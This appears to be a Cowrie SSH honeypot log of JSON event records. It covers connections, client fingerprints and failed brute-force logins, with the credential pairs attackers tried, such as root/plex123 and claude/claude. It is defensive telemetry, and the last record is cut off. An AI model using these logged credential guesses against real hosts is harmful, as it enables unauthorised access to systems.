{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:42.631366Z","src_ip":"209.99.190.200","session":"4fc33efcd781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plex123","message":"login attempt [root/plex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:43.028600Z","src_ip":"209.99.190.200","session":"4fc33efcd781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:44.124078Z","src_ip":"209.99.190.200","session":"4fc33efcd781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":42703,"dst_ip":"10.17.0.5","dst_port":22,"session":"554445e8e41d","protocol":"ssh","message":"New connection: 190.119.63.98:42703 (10.17.0.5:22) [session: 554445e8e41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:45.172416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:45.176787Z","src_ip":"190.119.63.98","session":"554445e8e41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:45.333949Z","src_ip":"190.119.63.98","session":"554445e8e41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:46.012769Z","src_ip":"190.119.63.98","session":"554445e8e41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:47.224733Z","src_ip":"190.119.63.98","session":"554445e8e41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":38146,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b4b86f3fbc","protocol":"ssh","message":"New connection: 43.135.164.198:38146 (159.203.135.109:22) [session: 57b4b86f3fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:48.665655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:48.670457Z","src_ip":"43.135.164.198","session":"57b4b86f3fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:48.739538Z","src_ip":"43.135.164.198","session":"57b4b86f3fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thomas","message":"login attempt [root/thomas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:49.045041Z","src_ip":"43.135.164.198","session":"57b4b86f3fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:03:50.124002Z","src_ip":"43.135.164.198","session":"57b4b86f3fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":58648,"dst_ip":"10.17.0.5","dst_port":22,"session":"246eeb283bc1","protocol":"ssh","message":"New connection: 43.134.1.45:58648 (10.17.0.5:22) [session: 246eeb283bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:00.155036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:00.159654Z","src_ip":"43.134.1.45","session":"246eeb283bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:00.398974Z","src_ip":"43.134.1.45","session":"246eeb283bc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.456","message":"login attempt [root/123.456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:01.378247Z","src_ip":"43.134.1.45","session":"246eeb283bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:02.620940Z","src_ip":"43.134.1.45","session":"246eeb283bc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":42402,"dst_ip":"10.17.0.5","dst_port":22,"session":"463c53fee42e","protocol":"ssh","message":"New connection: 43.128.112.183:42402 (10.17.0.5:22) [session: 463c53fee42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:09.684570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:09.689641Z","src_ip":"43.128.112.183","session":"463c53fee42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:09.939906Z","src_ip":"43.128.112.183","session":"463c53fee42e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":49620,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f749bdc2c78","protocol":"ssh","message":"New connection: 43.163.81.22:49620 (159.203.135.109:22) [session: 9f749bdc2c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:10.349298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:10.354360Z","src_ip":"43.163.81.22","session":"9f749bdc2c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:10.599986Z","src_ip":"43.163.81.22","session":"9f749bdc2c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cj","message":"login attempt [root/cj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:10.952022Z","src_ip":"43.128.112.183","session":"463c53fee42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuser","message":"login attempt [root/fuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:11.611984Z","src_ip":"43.163.81.22","session":"9f749bdc2c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:12.200048Z","src_ip":"43.128.112.183","session":"463c53fee42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:12.821564Z","src_ip":"163.53.168.23","session":"57828184f12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:12.860009Z","src_ip":"43.163.81.22","session":"9f749bdc2c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":36030,"dst_ip":"159.203.135.109","dst_port":22,"session":"8682b230a705","protocol":"ssh","message":"New connection: 193.32.162.151:36030 (159.203.135.109:22) [session: 8682b230a705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:14.592041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:14.599588Z","src_ip":"193.32.162.151","session":"8682b230a705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:14.702797Z","src_ip":"193.32.162.151","session":"8682b230a705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"username","message":"login attempt [mysql/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:15.013502Z","src_ip":"193.32.162.151","session":"8682b230a705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:16.116877Z","src_ip":"193.32.162.151","session":"8682b230a705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":33794,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ff6e0a11e6c","protocol":"ssh","message":"New connection: 43.135.168.126:33794 (159.203.135.109:22) [session: 1ff6e0a11e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:17.822845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:17.826792Z","src_ip":"43.135.168.126","session":"1ff6e0a11e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:17.895894Z","src_ip":"43.135.168.126","session":"1ff6e0a11e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"suckmydick","message":"login attempt [root/suckmydick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:18.204139Z","src_ip":"43.135.168.126","session":"1ff6e0a11e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:19.276740Z","src_ip":"43.135.168.126","session":"1ff6e0a11e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":50730,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f908279558","protocol":"ssh","message":"New connection: 209.99.190.200:50730 (10.17.0.5:22) [session: e4f908279558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:19.803787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:04:19.809726Z","src_ip":"209.99.190.200","session":"e4f908279558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 